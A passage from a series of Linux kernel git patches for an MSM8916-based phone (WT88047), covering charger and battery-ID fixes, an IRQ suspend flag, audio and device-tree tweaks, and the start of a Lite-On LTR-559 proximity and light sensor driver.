pr_err("Couldn't config OTP rc=%d\n", rc); + return rc; } } @@ -3506,7 +3570,7 @@ static int smb1360_hw_init(struct smb1360_chip *chip) CHG_CURR_TERM_DIS_BIT); if (rc) { dev_err(chip->dev, "Couldn't set iterm rc = %d\n", - rc); + rc); return rc; } } @@ -3797,6 +3861,7 @@ static int smb_parse_batt_id(struct smb1360_chip *chip) return 0; } + /* * Be noted that if you do not define "qcom,config-hard-thresholds" * and "qcom,soft-jeita-supported", SMB1360 will follow its default @@ -3812,14 +3877,16 @@ static int smb1360_parse_jeita_params(struct smb1360_chip *chip) rc = of_property_read_u32(node, "qcom,cold-bat-decidegc", &chip->cold_bat_decidegc); if (rc) { - pr_err("cold_bat_decidegc property error, rc = %d\n", rc); + pr_err("cold_bat_decidegc property error, rc = %d\n", + rc); return -EINVAL; } rc = of_property_read_u32(node, "qcom,hot-bat-decidegc", &chip->hot_bat_decidegc); if (rc) { - pr_err("hot_bat_decidegc property error, rc = %d\n", rc); + pr_err("hot_bat_decidegc property error, rc = %d\n", + rc); return -EINVAL; } @@ -3833,14 +3900,16 @@ static int smb1360_parse_jeita_params(struct smb1360_chip *chip) rc = of_property_read_u32(node, "qcom,warm-bat-decidegc", &chip->warm_bat_decidegc); if (rc) { - pr_err("warm_bat_decidegc property error, rc = %d\n", rc); + pr_err("warm_bat_decidegc property error, rc = %d\n", + rc); return -EINVAL; } rc = of_property_read_u32(node, "qcom,cool-bat-decidegc", &chip->cool_bat_decidegc); if (rc) { - pr_err("cool_bat_decidegc property error, rc = %d\n", rc); + pr_err("cool_bat_decidegc property error, rc = %d\n", + rc); return -EINVAL; } rc = of_property_read_u32(node, "qcom,cool-bat-mv", @@ -3884,7 +3953,7 @@ static int smb1360_parse_jeita_params(struct smb1360_chip *chip) } extern int power_supply_set_charging_enabled(struct power_supply *psy, - bool enabled); + bool enabled); #ifdef CONFIG_BQ2022A_SUPPORT extern int bq2022a_get_bat_module_id(void); @@ -4004,21 +4073,21 @@ static int smb1360_update_power_on_state(struct smb1360_chip *chip) for (i = 0; i < ARRAY_SIZE(handlers); i++) { if (handlers[i].stat_reg == IRQ_F_REG) { rc = smb1360_read(chip, handlers[i].stat_reg, - &handlers[i].val); + &handlers[i].val); if (rc < 0) { dev_err(chip->dev, "Couldn't read %d rc = %d\n", - handlers[i].stat_reg, rc); + handlers[i].stat_reg, rc); return -EPERM; - } + } info = handlers[i].irq_info; for (j = 0; j < ARRAY_SIZE(handlers[i].irq_info); j++) { - if (!strcmp(info[j].name, "power_ok")) { + if (!strcmp(info[j].name, "power_ok")) { rt_stat = handlers[i].val & (IRQ_STATUS_MASK << (j * BITS_PER_IRQ)); if (rt_stat) { handlers[i].prev_val = handlers[i].val; chip->power_ok = rt_stat; pr_debug("chip->power_ok = %d\n", chip->power_ok); - } + } } } } @@ -4193,6 +4262,16 @@ static int smb_parse_dt(struct smb1360_chip *chip) if (rc < 0) chip->fg_auto_recharge_soc = -EINVAL; + if (of_property_read_bool(node, "qcom,fg-reset-at-pon")) { + chip->fg_reset_at_pon = true; + rc = of_property_read_u32(node, "qcom,fg-reset-thresold-mv", + &chip->fg_reset_threshold_mv); + if (rc) { + pr_debug("FG reset voltage threshold not specified using 50mV\n"); + chip->fg_reset_threshold_mv = FG_RESET_THRESHOLD_MV; + } + } + return 0; } @@ -4441,7 +4520,6 @@ static int smb1360_probe(struct i2c_client *client, static int smb1360_remove(struct i2c_client *client) { struct smb1360_chip *chip = i2c_get_clientdata(client); - regulator_unregister(chip->otg_vreg.rdev); power_supply_unregister(&chip->batt_psy); mutex_destroy(&chip->charging_disable_lock); From 88b1a11f381939de26f00ea33dffa64613c832af Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 20 Jun 2016 20:18:23 +0700 Subject: [PATCH 134/365] bq2022a: Fix variable value always true * From L source drop, without their white space error Change-Id: I3ac5e44b863b4433c82b2af3f5221ca0a37c2afe --- drivers/power/bq2022a-batid.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/drivers/power/bq2022a-batid.c b/drivers/power/bq2022a-batid.c index 680c610ed5e61..c806eca2ce801 100644 --- a/drivers/power/bq2022a-batid.c +++ b/drivers/power/bq2022a-batid.c @@ -22,7 +22,6 @@ #include #include #include "bq2022a-batid.h" -/* #include */ /* BQ2022A. */ #define ROM_COMMAND (0xcc) @@ -44,6 +43,7 @@ unsigned char bq2022a_sdq_detect(void) gpio_direction_output(bq2022a_bat_id, GPIO_LOW); + /* Reset time should be > 480 usec */ udelay(800); gpio_direction_input(bq2022a_bat_id); udelay(60); @@ -51,7 +51,7 @@ unsigned char bq2022a_sdq_detect(void) while ((PresenceTimer > 0) && (GotPulse == 0)) { InputData = gpio_get_value(bq2022a_bat_id); if (InputData == 0) { - GotPulse = 1; + GotPulse = 1; } else { GotPulse = 0; --PresenceTimer; @@ -120,7 +120,7 @@ void bq2022a_sdq_writebyte(u8 value) } static int bat_module_id; -bool is_battery_feedback; +bool is_battery_feedback = false; static const unsigned char con_bat_id[] = { 0xed, 0x21, 0x4c, 0xe5, @@ -289,7 +289,6 @@ static int bq2022a_probe(struct platform_device *pdev) break; } pr_debug("battery module:%s", bat_id_buf); - /* hardwareinfo_set_prop(HARDWARE_BATTERY_ID, bat_id_buf); */ pr_err("success!!\n"); return rc; From ea7710fb353e7c837b45528095d3cda880b669e9 Mon Sep 17 00:00:00 2001 From: myfluxi Date: Sat, 15 Feb 2014 19:56:05 -0800 Subject: [PATCH 135/365] arm: vfpmodule: Fix warning procfs vfp_bounce reporting failed Creation of procfs cpu/vfp_bounce fails because we're initialized too early. Fix this by creating it on rootfs_initcall as before the NEON patches. [ 0.018452] VFP support v0.3: implementor 41 architecture 3 part 40 variant 3 rev 0 [ 0.018472] ------------[ cut here ]------------ [ 0.018492] WARNING: at fs/proc/generic.c:102 __xlate_proc_name+0xa0/0xb4() [ 0.018498] name 'cpu/vfp_bounce' [ 0.018535] [] (unwind_backtrace+0x0/0xe0) from [] (show_stack+0x10/0x14) [ 0.018552] [] (show_stack+0x10/0x14) from [] (warn_slowpath_common+0x48/0x68) [ 0.018568] [] (warn_slowpath_common+0x48/0x68) from [] (warn_slowpath_fmt+0x2c/0x3c) [ 0.018585] [] (warn_slowpath_fmt+0x2c/0x3c) from [] (__xlate_proc_name+0xa0/0xb4) [ 0.018604] [] (__xlate_proc_name+0xa0/0xb4) from [] (__proc_create+0x4c/0xdc) [ 0.018622] [] (__proc_create+0x4c/0xdc) from [] (proc_create_data+0x58/0x98) [ 0.018639] [] (proc_create_data+0x58/0x98) from [] (vfp_init+0x16c/0x1d8) [ 0.018656] [] (vfp_init+0x16c/0x1d8) from [] (do_one_initcall+0x8c/0x12c) [ 0.018675] [] (do_one_initcall+0x8c/0x12c) from [] (kernel_init_freeable+0x17c/0x244) [ 0.018695] [] (kernel_init_freeable+0x17c/0x244) from [] (kernel_init+0x8/0xe4) [ 0.018715] [] (kernel_init+0x8/0xe4) from [] (ret_from_fork+0x14/0x3c) [ 0.018744] ---[ end trace 1b75b31a2719ed1c ]--- [ 0.018750] Failed to create procfs node for VFP bounce reporting Change-Id: Ic6904efc800f3c03d7226e7b035177c5c00ac26a Signed-off-by: Paul Reioux --- arch/arm/vfp/vfpmodule.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/arch/arm/vfp/vfpmodule.c b/arch/arm/vfp/vfpmodule.c index f9bc4b6ada8c7..5d6005f17e085 100644 --- a/arch/arm/vfp/vfpmodule.c +++ b/arch/arm/vfp/vfpmodule.c @@ -731,9 +731,7 @@ static int __init vfp_init(void) { unsigned int vfpsid; unsigned int cpu_arch = cpu_architecture(); -#ifdef CONFIG_PROC_FS - static struct proc_dir_entry *procfs_entry; -#endif + if (cpu_arch >= CPU_ARCH_ARMv6) on_each_cpu(vfp_enable, NULL, 1); @@ -808,7 +806,14 @@ static int __init vfp_init(void) } } + return 0; +} + +static int __init vfp_rootfs_init(void) +{ #ifdef CONFIG_PROC_FS + static struct proc_dir_entry *procfs_entry; + procfs_entry = proc_create("cpu/vfp_bounce", S_IRUGO, NULL, &vfp_bounce_fops); if (!procfs_entry) @@ -819,3 +824,4 @@ static int __init vfp_init(void) } core_initcall(vfp_init); +rootfs_initcall(vfp_rootfs_init); From 7e604dfd13ac370b54085837805a211f877f5652 Mon Sep 17 00:00:00 2001 From: myfluxi Date: Wed, 12 Aug 2015 19:35:31 -0700 Subject: [PATCH 136/365] msm: sps: Register SPS IRQ with IRQF_NO_SUSPEND flag This is a wakeup-enabled interrupt, so IRQF_NO_SUSPEND should be used in order to avoid delays during system suspend/resume and unbalanced IRQ enable. [10421.974049] ------------[ cut here ]------------ [10421.974071] WARNING: at kernel/irq/manage.c:459 resume_irqs+0x6c/0x84() [10421.974077] Unbalanced enable for IRQ 61 [10421.974125] [] (unwind_backtrace+0x0/0xe0) from [] (show_stack+0x10/0x14) [10421.974150] [] (show_stack+0x10/0x14) from [] (warn_slowpath_common+0x48/0x68) [10421.974175] [] (warn_slowpath_common+0x48/0x68) from [] (warn_slowpath_fmt+0x2c/0x3c) [10421.974198] [] (warn_slowpath_fmt+0x2c/0x3c) from [] (resume_irqs+0x6c/0x84) [10421.974227] [] (resume_irqs+0x6c/0x84) from [] (dpm_resume_noirq+0x1e4/0x200) [10421.974259] [] (dpm_resume_noirq+0x1e4/0x200) from [] (dpm_resume_start+0xc/0x18) [10421.974287] [] (dpm_resume_start+0xc/0x18) from [] (suspend_devices_and_enter+0x2dc/0x3fc) [10421.974314] [] (suspend_devices_and_enter+0x2dc/0x3fc) from [] (pm_suspend+0xc0/0x1b4) [10421.974337] [] (pm_suspend+0xc0/0x1b4) from [] (state_store+0x40/0x68) [10421.974362] [] (state_store+0x40/0x68) from [] (kobj_attr_store+0x14/0x20) [10421.974390] [] (kobj_attr_store+0x14/0x20) from [] (sysfs_write_file+0x104/0x148) [10421.974418] [] (sysfs_write_file+0x104/0x148) from [] (vfs_write+0xd0/0x180) [10421.974443] [] (vfs_write+0xd0/0x180) from [] (SyS_write+0x38/0x68) [10421.974469] [] (SyS_write+0x38/0x68) from [] (ret_fast_syscall+0x0/0x30) [10421.974478] ---[ end trace 1b75b31a2719eea6 ]--- Referenced https://www.codeaurora.org/cgit/quic/la/kernel/msm/commit/?h=LA.BF.1.1.1.c3&id=66e0a4bf1d86782fc68291194086f3e0b198b2ee Change-Id: I99ed884f03e6d3811a83e314d3073416a813e736 --- drivers/platform/msm/sps/sps_bam.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/drivers/platform/msm/sps/sps_bam.c b/drivers/platform/msm/sps/sps_bam.c index 245c91ef76a9b..8bd7cfd7f049f 100644 --- a/drivers/platform/msm/sps/sps_bam.c +++ b/drivers/platform/msm/sps/sps_bam.c @@ -284,14 +284,16 @@ int sps_bam_enable(struct sps_bam *dev) if (dev->props.options & SPS_BAM_RES_CONFIRM) { result = request_irq(dev->props.irq, (irq_handler_t) bam_isr, - IRQF_TRIGGER_RISING, "sps", dev); + IRQF_TRIGGER_RISING | IRQF_NO_SUSPEND, + "sps", dev); SPS_DBG( "sps:BAM %pa uses edge for IRQ# %d\n", BAM_ID(dev), dev->props.irq); } else { result = request_irq(dev->props.irq, (irq_handler_t) bam_isr, - IRQF_TRIGGER_HIGH, "sps", dev); + IRQF_TRIGGER_HIGH | IRQF_NO_SUSPEND, + "sps", dev); SPS_DBG( "sps:BAM %pa uses level for IRQ# %d\n", BAM_ID(dev), dev->props.irq); From 2a3babfc48190808a8f0881427a772bc0029fece Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Thu, 23 Jun 2016 19:43:14 +0700 Subject: [PATCH 137/365] ASoC: Restore previous WT88047 resistances config Change-Id: I242470f9d59176dfbabb6b185a06c58cb8ff520b --- sound/soc/msm/msm8x16.c | 22 +++++++++------------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/sound/soc/msm/msm8x16.c b/sound/soc/msm/msm8x16.c index 4630f4be93716..f645a51ceefa5 100644 --- a/sound/soc/msm/msm8x16.c +++ b/sound/soc/msm/msm8x16.c @@ -1725,11 +1725,7 @@ static void *def_msm8x16_wcd_mbhc_cal(void) } #define S(X, Y) ((WCD_MBHC_CAL_PLUG_TYPE_PTR(msm8x16_wcd_cal)->X) = (Y)) -#ifdef CONFIG_MACH_WT88047 - S(v_hs_max, 1700); -#else S(v_hs_max, 1500); -#endif #undef S #define S(X, Y) ((WCD_MBHC_CAL_BTN_DET_PTR(msm8x16_wcd_cal)->X) = (Y)) S(num_btn, WCD_MBHC_DEF_BUTTONS); @@ -1764,16 +1760,16 @@ static void *def_msm8x16_wcd_mbhc_cal(void) btn_low[4] = 150; btn_high[4] = 150; #elif defined CONFIG_MACH_WT88047 - btn_low[0] = 25; + btn_low[0] = 75; btn_high[0] = 75; - btn_low[1] = 200; - btn_high[1] = 225; - btn_low[2] = 325; - btn_high[2] = 400; - btn_low[3] = 375; - btn_high[3] = 410; - btn_low[4] = 430; - btn_high[4] = 450; + btn_low[1] = 130; + btn_high[1] = 130; + btn_low[2] = 260; + btn_high[2] = 260; + btn_low[3] = 450; + btn_high[3] = 450; + btn_low[4] = 500; + btn_high[4] = 500; #else btn_low[0] = 75; btn_high[0] = 75; From 7d15342b9812c42da0b82a3b4a48eaa79225d097 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Thu, 23 Jun 2016 19:56:24 +0700 Subject: [PATCH 138/365] dts: Update WT88047 platform config * Restore previous pmx_mdss and mdss_dsi config * Use default MSM8916 modem and pheripheral memory region Change-Id: I20ac9268427cc36c2fb96960044c0511c4a166ba --- arch/arm/boot/dts/qcom/msm8916-wt88047.dts | 13 ---------- .../dts/qcom/wt88047/msm8916-wt88047.dtsi | 26 ++++++------------- 2 files changed, 8 insertions(+), 31 deletions(-) diff --git a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts index 70b30d4e915bc..96ddabda0fb84 100644 --- a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts +++ b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts @@ -177,19 +177,6 @@ }; }; -&pm8916_vadc { - chan@11 { - label = "mpp2_vol"; - reg = <0x11>; - qcom,decimation = <0>; - qcom,pre-div-channel-scaling = <0>; - qcom,calibration-type = "absolute"; - qcom,scale-function = <0>; - qcom,hw-settle-time = <0>; - qcom,fast-avg-setup = <0>; - }; -}; - &pm8916_gpios { gpio@c100 { /* GPIO 2 */ /* NFC_CLK_REQ */ diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 20cddb094a369..16dc161d32619 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -33,18 +33,6 @@ splash_region@83000000 { /* Give this region to mdss_fb0 */ /* status = "disabled"; */ }; - - modem_adsp_region@0 { - reg = <0x0 0x86800000 0x0 0x05400000>; - }; - - pheripheral_region@0 { - reg = <0x0 0x8bc00000 0x0 0x0600000>; - }; - - secure_region@0 { - /* status = "disabled"; */ - }; }; }; @@ -60,12 +48,6 @@ android,ramoops-dump-oops = <0x1>; }; - qcom,ion { - qcom,ion-heap@8 { /* CP_MM HEAP */ - status = "disabled"; - }; - }; - sound { compatible = "qcom,msm8x16-audio-codec"; qcom,model = "msm8x16-skui-snd-card"; @@ -169,9 +151,17 @@ &pmx_mdss { qcom,num-grp-pins = <1>; qcom,pins = <&gp 25>; + mdss_dsi_active: active { + output-high; + }; + mdss_dsi_suspend: suspend { + output-low; + }; }; &mdss_dsi0 { + qcom,platform-regulator-settings = [02 09 03 00 20 00 01]; + qcom,dsi-pref-prim-pan = <&dsi_r69431_720p_video>; qcom,dsi-pref-sub-pan = <&dsi_nt35521_720p_video>; qcom,dsi-pref-sub1-pan = <&dsi_otm1285a_720p_video>; From 41111cedb1bdd8b904a6660a10441dcdc7628d4c Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Fri, 24 Jun 2016 11:07:34 +0700 Subject: [PATCH 139/365] dts: Fix hard reboot on Lollipop bootloader * Write to RTC register trigger kernel crash Change-Id: I9a89e0367274315a3d418c7bfc9a6c1a92f79a8c --- arch/arm/boot/dts/qcom/msm8916-wt88047.dts | 1 - 1 file changed, 1 deletion(-) diff --git a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts index 96ddabda0fb84..a70c5af98e83b 100644 --- a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts +++ b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts @@ -156,7 +156,6 @@ }; &pm8916_rtc { - qcom,qpnp-rtc-write = <1>; qcom,qpnp-rtc-alarm-pwrup = <1>; }; From 52c2d188f76b40859e792fb235d4781db61b1cc2 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 26 Jun 2016 10:59:18 +0700 Subject: [PATCH 140/365] input: misc: Add Wingtech version of LTR-559 driver * Remove unnecessary XiaoMi copyright * Clean up, formatting fix, and remove vendor debug codes * Fix incorrect property strings, don't end-up as a buggy driver Change-Id: I521821bdf99800c8bdb81ef02f5fc333b896586d --- drivers/input/misc/Makefile | 4 + drivers/input/misc/ltr559_wt88047.c | 1862 ++++++++++++++++++++++++++ include/linux/input/ltr559_wt88047.h | 86 ++ 3 files changed, 1952 insertions(+) create mode 100644 drivers/input/misc/ltr559_wt88047.c create mode 100644 include/linux/input/ltr559_wt88047.h diff --git a/drivers/input/misc/Makefile b/drivers/input/misc/Makefile index fa111877e1847..04903a74a8906 100644 --- a/drivers/input/misc/Makefile +++ b/drivers/input/misc/Makefile @@ -88,7 +88,11 @@ obj-$(CONFIG_SENSORS_LTR553) += ltr553.o obj-$(CONFIG_SENSORS_BMM050) += bmm050_driver.o bmm050.o obj-$(CONFIG_SENSORS_BMG) += bmg160_driver.o bmg160.o +ifeq ($(CONFIG_MACH_WT88047),y) +obj-$(CONFIG_SENSORS_LTR559) += ltr559_wt88047.o +else obj-$(CONFIG_SENSORS_LTR559) += ltr559.o +endif ifeq ($(CONFIG_SENSORS_BMA2X2_ENABLE_INT1),y) EXTRA_CFLAGS += -DBMA2X2_ENABLE_INT1 diff --git a/drivers/input/misc/ltr559_wt88047.c b/drivers/input/misc/ltr559_wt88047.c new file mode 100644 index 0000000000000..e080fed684337 --- /dev/null +++ b/drivers/input/misc/ltr559_wt88047.c @@ -0,0 +1,1862 @@ +/* ltr559.c + * Lite-On LTR-559 Proximity and Light sensor driver + * + * Copyright (C) 2011 Lite-On Technology Corp (Singapore) + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and + * may be copied, distributed, and modified under those terms. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +/* + * 2011-11-18 Thundersoft porting to MSM7x27A platform. + * 2011-05-01 Lite-On created base driver. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define SENSOR_NAME "proximity" +#define LTR559_DRV_NAME "ltr559" +#define LTR559_MANUFAC_ID 0x05 + +#define VENDOR_NAME "lite-on" +#define LTR559_SENSOR_NAME "ltr559als" +#define DRIVER_VERSION "1.0" + +#define ALSPS_LS_ENABLE _IOW('c', 5, int *) +#define ALSPS_PS_ENABLE _IOW('c', 6, int *) +#define ALSPS_LSENSOR_LUX_DATA _IOW('c', 7, int *) +#define ALSPS_PSENSOR_ABS_DISTANCE_DATA _IOW('c', 8, int *) +#define ALSPS_GET_PS_RAW_DATA_FOR_CALI _IOW('c', 9, int *) +#define ALSPS_REC_PS_DATA_FOR_CALI _IOW('c', 10, int *) + +#define DYNAMIC_CALIBRATE 1 + +#ifdef SYS_AUTHORITY_FOR_CTS +#define SYS_AUTHORITY (S_IRUGO|S_IWUSR|S_IWGRP) +#else +#define SYS_AUTHORITY (S_IRUGO|S_IWUGO) +#endif + +struct ltr559_data { + + struct i2c_client *client; + struct input_dev *input_dev_als; + struct input_dev *input_dev_ps; + struct sensors_classdev als_cdev; + struct sensors_classdev ps_cdev; + + struct wake_lock ps_wakelock; + + /* pinctrl data*/ + struct pinctrl *pinctrl; + struct pinctrl_state *pin_default; + struct pinctrl_state *pin_sleep; + + struct ltr559_platform_data *platform_data; + + /* regulator data */ + bool power_state; + struct regulator *vdd; + struct regulator *vio; + + /* interrupt type is level-style */ + struct mutex lockw; + struct mutex op_lock; + + struct delayed_work ps_work; + struct delayed_work als_work; + + u8 ps_open_state; + u8 als_open_state; + + u16 irq; + + u32 ps_state; + u32 last_lux; +#if defined(DYNAMIC_CALIBRATE) + bool cali_update; + u32 dynamic_noise; +#endif +}; +struct ltr559_data *sensor_info; + +struct ltr559_reg { + const char *name; + u8 addr; + u16 defval; + u16 curval; +}; + +enum ltr559_reg_tbl{ + REG_ALS_CONTR, + REG_PS_CONTR, + REG_ALS_PS_STATUS, + REG_INTERRUPT, + REG_PS_LED, + REG_PS_N_PULSES, + REG_PS_MEAS_RATE, + REG_ALS_MEAS_RATE, + REG_MANUFACTURER_ID, + REG_INTERRUPT_PERSIST, + REG_PS_THRES_LOW, + REG_PS_THRES_UP, + REG_ALS_THRES_LOW, + REG_ALS_THRES_UP, + REG_ALS_DATA_CH1, + REG_ALS_DATA_CH0, + REG_PS_DATA +}; + +static int ltr559_als_set_enable(struct sensors_classdev *sensors_cdev, + unsigned int enable); +static int ltr559_ps_set_enable(struct sensors_classdev *sensors_cdev, + unsigned int enable); + +#if defined(DYNAMIC_CALIBRATE) +static ssize_t ltr559_ps_dynamic_caliberate_init(struct i2c_client *client, struct sensors_classdev *sensors_cdev); +#endif + +static struct ltr559_reg reg_tbl[] = { + { + .name = "ALS_CONTR", + .addr = 0x80, + .defval = 0x00, + .curval = 0x0D, + }, + { + .name = "PS_CONTR", + .addr = 0x81, + .defval = 0x00, + .curval = 0x03, + }, + { + .name = "ALS_PS_STATUS", + .addr = 0x8c, + .defval = 0x00, + .curval = 0x00, + }, + { + .name = "INTERRUPT", + .addr = 0x8f, + .defval = 0x00, + .curval = 0x01, + }, + { + .name = "PS_LED", + .addr = 0x82, + .defval = 0x7f, + .curval = 0x7b, + }, + { + .name = "PS_N_PULSES", + .addr = 0x83, + .defval = 0x01, + .curval = 0x02, + }, + { + .name = "PS_MEAS_RATE", + .addr = 0x84, + .defval = 0x02, + .curval = 0x08, + }, + { + .name = "ALS_MEAS_RATE", + .addr = 0x85, + + + .defval = 0x03, + .curval = 0x01, + }, + { + .name = "MANUFACTURER_ID", + .addr = 0x87, + .defval = 0x05, + .curval = 0x05, + }, + { + .name = "INTERRUPT_PERSIST", + .addr = 0x9e, + .defval = 0x00, + .curval = 0x23, + }, + { + .name = "PS_THRES_LOW", + .addr = 0x92, + .defval = 0x0000, + .curval = 0x0000, + }, + { + .name = "PS_THRES_UP", + .addr = 0x90, + .defval = 0x07ff, + .curval = 0x0000, + }, + { + .name = "ALS_THRES_LOW", + .addr = 0x99, + .defval = 0x0000, + .curval = 0x0000, + }, + { + .name = "ALS_THRES_UP", + .addr = 0x97, + .defval = 0xffff, + + .curval = 0x0000, + }, + { + .name = "ALS_DATA_CH1", + .addr = 0x88, + .defval = 0x0000, + .curval = 0x0000, + }, + { + .name = "ALS_DATA_CH0", + .addr = 0x8a, + .defval = 0x0000, + .curval = 0x0000, + }, + { + .name = "PS_DATA", + .addr = 0x8d, + .defval = 0x0000, + .curval = 0x0000, + }, +}; + +static struct sensors_classdev sensors_light_cdev = { + .name = "ltr559-light", + .vendor = "Lite-On", + .version = 1, + .handle = SENSORS_LIGHT_HANDLE, + .type = SENSOR_TYPE_LIGHT, + .max_range = "60000", + .resolution = "0.0125", + .sensor_power = "0.20", + .min_delay = 0, /* in microseconds */ + .fifo_reserved_event_count = 0, + .fifo_max_event_count = 0, + .enabled = 0, + .flags = 2, + .delay_msec = 100, + .sensors_enable = NULL, + .sensors_poll_delay = NULL, +}; + +static struct sensors_classdev sensors_proximity_cdev = { + .name = "ltr559-proximity", + .vendor = "Lite-On", + .version = 1, + .handle = SENSORS_PROXIMITY_HANDLE, + .type = SENSOR_TYPE_PROXIMITY, + .max_range = "5", + .resolution = "5.0", + .sensor_power = "3", + .min_delay = 0, /* in microseconds */ + .fifo_reserved_event_count = 0, + .fifo_max_event_count = 0, + .enabled = 0, + .flags = 3, + .delay_msec = 100, + .sensors_enable = NULL, + .sensors_poll_delay = NULL, +}; + +#define LTR_I2C_RETRY_COUNT 3 + +static s32 ltr559_sensor_I2C_Wrtie(const struct i2c_client *client, u8 command, u8 value) +{ + int ret = 0; + int retry; + + for (retry = 0; retry < LTR_I2C_RETRY_COUNT; retry++) { + ret = i2c_smbus_write_byte_data(client, command, value); + + if (ret == 0) + break; + + pr_err("%s, i2c write error, ret = %d\r\n", __func__, ret); + mdelay(10); + } + + if (retry >= LTR_I2C_RETRY_COUNT) { + pr_err("%s, i2c write retry over %d\n", __func__, LTR_I2C_RETRY_COUNT); + return -EINVAL; + } + + return ret; +} + +static s32 ltr559_sensor_I2C_Read(const struct i2c_client *client, u8 command) +{ + int ret = 0; + int retry; + + for (retry = 0; retry < LTR_I2C_RETRY_COUNT; retry++) { + ret = i2c_smbus_read_byte_data(client, command); + + if (ret >= 0) + break; + + pr_err("%s, i2c read error, ret = %d\r\n", __func__, ret); + mdelay(10); + } + + if (retry >= LTR_I2C_RETRY_COUNT) { + pr_err("%s, i2c read retry over %d\n", __func__, LTR_I2C_RETRY_COUNT); + return -EINVAL; + } + + return ret; +} + + +#if defined(DYNAMIC_CALIBRATE) +static int ltr559_ps_read(struct i2c_client *client) +{ + int psval_lo, psval_hi, psdata; + psval_lo = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_0); + if (psval_lo < 0) { + psdata = psval_lo; + goto out; + } + psval_hi = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_1); + if (psval_hi < 0) { + psdata = psval_hi; + goto out; + } + + psdata = ((psval_hi & 7) * 256) + psval_lo; + + + +out: + return psdata; +} +#endif + +static int ltr559_chip_reset(struct i2c_client *client) +{ + int ret; + + ret = ltr559_sensor_I2C_Wrtie(client, LTR559_ALS_CONTR, MODE_ALS_StdBy); + ret = ltr559_sensor_I2C_Wrtie(client, LTR559_PS_CONTR, MODE_PS_StdBy); + ret = ltr559_sensor_I2C_Wrtie(client, LTR559_ALS_CONTR, 0x02); + if (ret < 0) + printk("%s reset chip fail\n", __func__); + + return ret; +} + +static u32 ps_state_last = 0xff; + + +static void ltr559_set_ps_threshold(struct i2c_client *client, u8 addr, u16 value) +{ + int ret = 0; + + ret = ltr559_sensor_I2C_Wrtie(client, addr, (value & 0xff)); + if (ret < 0) { + pr_err("%s: i2c write fail L, value =(%d) failed!\n", __func__, value); + return; + } + ret = ltr559_sensor_I2C_Wrtie(client, addr+1, (value >> 8)); + if (ret < 0) { + pr_err("%s: i2c write fail H, value =(%d) failed!\n", __func__, value); + return; + } +} + +static int ltr559_ps_enable(struct i2c_client *client, int on) +{ + struct ltr559_data *data = i2c_get_clientdata(client); + int ret = 0; + int contr_data; + + if (on) { +#if defined(DYNAMIC_CALIBRATE) + if (0 != ltr559_ps_dynamic_caliberate_init(client, &data->ps_cdev)) { + pr_err("%s, dynamic calibrate fail!", __func__); + data->dynamic_noise = 800; + data->platform_data->prox_threshold = 1000; + data->platform_data->prox_hsyteresis_threshold = 900; + } +#endif + ret = ltr559_sensor_I2C_Wrtie(client, LTR559_PS_CONTR, reg_tbl[REG_PS_CONTR].curval); + msleep(WAKEUP_DELAY); + + if (ret < 0) { + pr_err("%s: enable=(%d) failed!\n", __func__, on); + return ret; + } + contr_data = ltr559_sensor_I2C_Read(client, LTR559_PS_CONTR); + if (contr_data != reg_tbl[REG_PS_CONTR].curval) { + + pr_err("%s: enable=(%d) failed!\n", __func__, on); + return -EFAULT; + } + + data->ps_state = 0xff; + ps_state_last = 0xff; + +#if defined(DYNAMIC_CALIBRATE) + ltr559_set_ps_threshold(data->client, LTR559_PS_THRES_LOW_0, data->platform_data->prox_hsyteresis_threshold); + ltr559_set_ps_threshold(data->client, LTR559_PS_THRES_UP_0, data->platform_data->prox_threshold); +#else + ltr559_set_ps_threshold(client, LTR559_PS_THRES_LOW_0, data->platform_data->prox_threshold); + ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, data->platform_data->prox_threshold-1); +#endif + + wake_lock(&data->ps_wakelock); + + + } else { + + wake_unlock(&data->ps_wakelock); + + ltr559_set_ps_threshold(client, LTR559_PS_THRES_LOW_0, 0); + ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, 0x7ff); + + ret = ltr559_sensor_I2C_Wrtie(client, LTR559_PS_CONTR, MODE_PS_StdBy); + if (ret < 0) { + pr_err("%s: enable=(%d) failed!\n", __func__, on); + return ret; + } + + contr_data = ltr559_sensor_I2C_Read(client, LTR559_PS_CONTR); + if (contr_data != reg_tbl[REG_PS_CONTR].defval) { + pr_err("%s: enable=(%d) failed!\n", __func__, on); + return -EFAULT; + } + + data->ps_state = 0xff; + input_report_abs(data->input_dev_ps, ABS_DISTANCE, data->ps_state); + input_sync(data->input_dev_ps); + } + pr_err("%s: enable=(%d) OK\n", __func__, on); + return ret; +} + +/* + * Ambient Light Sensor 